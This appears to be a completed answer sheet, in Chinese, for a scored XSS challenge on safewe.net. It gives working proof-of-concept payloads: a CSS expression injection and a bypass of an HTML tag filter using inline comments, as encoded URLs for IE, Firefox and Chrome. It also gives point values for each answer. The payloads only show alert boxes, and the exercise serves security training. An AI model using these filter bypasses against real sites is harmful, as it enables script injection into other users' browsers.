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总得分：
第一题 Web Exploit Me:初级XSS        （5分）
题目描述：http://www.safewe.net/xss1.aspx
 xss1.aspx程序通过用户输入的加密密钥对原始内容进行加密，并将加密后的内容显示到页面上。请判断该程序是否有xss漏洞，如果存在，请利用此漏洞在IE下弹出显示“xss”字样的消息框。 
第一问： 网页是否有xss漏洞？IE下成功利用xss漏洞应输入内容？(3分)
http://www.safewe.net/xss1.aspx?content=+type%3Dtext+style%3D%22width%3Aexpression%28alert%28%2Fxss%2F%29%29%3B%2F%2F&password=+type%3Dtext+style%3D%22width%3Aexpression%28alert%280%29%29%3B%2F%2F

第二问： 漏洞利用的思路简述（1分）。
内容和密钥都是 type=text style="width:expression(alert(/xss/));//

才可以绕过过滤

第三问： XSS Exploit POC成功后的截图 (1分)
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第二题 Web Exploit Me : XSS        （10分）
题目描述：http://www.safewe.net/xss2.aspx
程序将用户输入的内容解析并显示到页面上。支持用户输入HTML代码。程序本身具备一定的过滤能力，能够将常见的危险标签和属性进行过滤，过滤规则集合了正则和DOM过滤。请尝试在各类浏览器中绕过过滤机制，并利用漏洞让各类浏览器弹出显示“xss”字样的消息框。
第一问：IE下绕过系统过滤器的思路？成功利用xss漏洞时应输入的内容？(3分)
通过/**/绕过过滤

<body/**/onload=alert('xss')>3

第二问：IE XSS Exploit POC成功后的截图 (1分)
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第三问：Firefox下绕过系统过滤器的思路？成功利用xss漏洞时应输入的内容？（2分）
通过/**/绕过过滤

<body/**/onload=alert('xss')>3

http://www.safewe.net/xss2.aspx?S1=%3Cbody%2Fonload%3Dalert%28%27xss%27%29%3E2%0D%0A%3Cbody%2F**%2Fonload%3Dalert%28%27xss%27%29%3E3

第四问：Firefox XSS Exploit POC成功后的截图 (1分)
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第五问：chrome下绕过系统过滤器的思路？成功利用xss漏洞时应输入的内容？（2分）
通过/**/绕过过滤

<body/**/onload=alert('xss')>3

http://www.safewe.net/xss2.aspx?S1=%3Cbody%2Fonload%3Dalert%28%27xss%27%29%3E2%0D%0A%3Cbody%2F**%2Fonload%3Dalert%28%27xss%27%29%3E3

第六问：chrome XSS Exploit POC成功后的截图 (1分)
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